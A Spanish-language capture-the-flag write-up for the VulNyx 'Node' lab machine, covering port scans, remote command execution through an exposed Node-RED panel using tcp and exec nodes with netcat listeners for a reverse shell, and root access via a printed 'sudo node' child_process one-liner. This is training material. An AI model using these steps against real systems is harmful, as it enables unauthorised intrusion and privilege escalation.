VulNyx - Node
- Node-Red RCE
- Abuse Node Binary
Escaneo de puertos
❯ nmap -p- -T5 -v -n 192.168.1.69
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
1880/tcp open vsat-control
Escaneo de servicios
❯ nmap -sVC -v -p 22,80,1880 192.168.1.69
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 f0e624fb9eb07a1abdf7b185237fb16f (RSA)
| 256 99c87431451058b0cecc63b47a82573d (ECDSA)
|_ 256 60da3e3138fab549ab48c3432c9fd132 (ED25519)
80/tcp open http Apache httpd 2.4.56 ((Debian))
|_http-server-header: Apache/2.4.56 (Debian)
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-title: Apache2 Debian Default Page: It works
1880/tcp open http Node.js Express framework
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Node-RED
|_http-favicon: Unknown favicon MD5: 818DD6AFD0D0F9433B21774F89665EEA
|_http-cors: GET POST PUT DELETE
HTTP
En el puerto 1880 accedo directamente al panel principal de Node-RED.
Primero creo un nodo tcp in
.
Después un nodo exec
.
Y finalmente un nodo tcp out
.
Resultado final.
Ahora dejo un netcat a la escucha por el puerto 1234 y otro netcat en el puerto 1337, cuando hago click a deploy recibo una conexión en el puerto 1234 una vez recibo la conexión le doy a enter para entablarme una shell al puerto 1337.
Enumero permisos de sudo.
dev@node:~$ sudo -l
Matching Defaults entries for dev on node:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User dev may run the following commands on node:
(root) NOPASSWD: /usr/bin/node
Para conseguir el root uso este recurso de gtfobins.
dev@node:~$ sudo node -e 'require("child_process").spawn("/bin/bash", {stdio: [0, 1, 2]})'
root@node:/home/dev# id
uid=0(root) gid=0(root) grupos=0(root)
Y con esto ya tenemos resuelta la máquina Node.
Saludos!